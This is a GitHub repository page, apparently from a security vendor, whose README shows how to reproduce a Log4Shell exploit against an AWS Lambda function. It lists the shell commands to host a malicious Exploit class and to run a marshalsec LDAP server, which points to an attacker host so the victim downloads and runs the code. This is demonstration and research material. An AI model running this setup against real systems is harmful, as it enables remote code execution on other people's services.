Skip to content

Exploit of the log4shell vulnerability in an AWS Lambda function

Notifications You must be signed in to change notification settings

Contrast-Security-OSS/log4shell_serverless

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Log4Shell Serverless

Exploit of the log4shell vulnerability in an AWS Lambda function

How to reproduce the exploit

Prerequisite

  • Vulnerable AWS Lambda Function
  • Exploit class
  • LDAP Server (controlled by the attacker)

Quick Steps

Once the payload reached Log4j, the vulnerable function will download the Exploit.class and run the code it contains

Vulnerable function

Exploit Class and LDAP Server

  • Launch a server (for instance an EC2)
  • Make the server publicly accessible (let's say at IP XXX.XXX.XXX.XXX)
  • Run HTTP server to host the Exploit class
  • Run the LDAP server

Running the HTTP Server

# git clone git@github.com:Contrast-Security-Inc/log4shell_serverless.git
# cd log4shell_serverless
# python3 -m http.server 8888

Running the LDAP Server

# git clone git@github.com:mbechler/marshalsec.git
# git checkout f645788e6a75155fdfccab1fc036a032212d8484
# mvn clean package -DskipTests
# java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://XXX.XXX.XXX.XXX:8888/#Exploit"

About

Exploit of the log4shell vulnerability in an AWS Lambda function

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages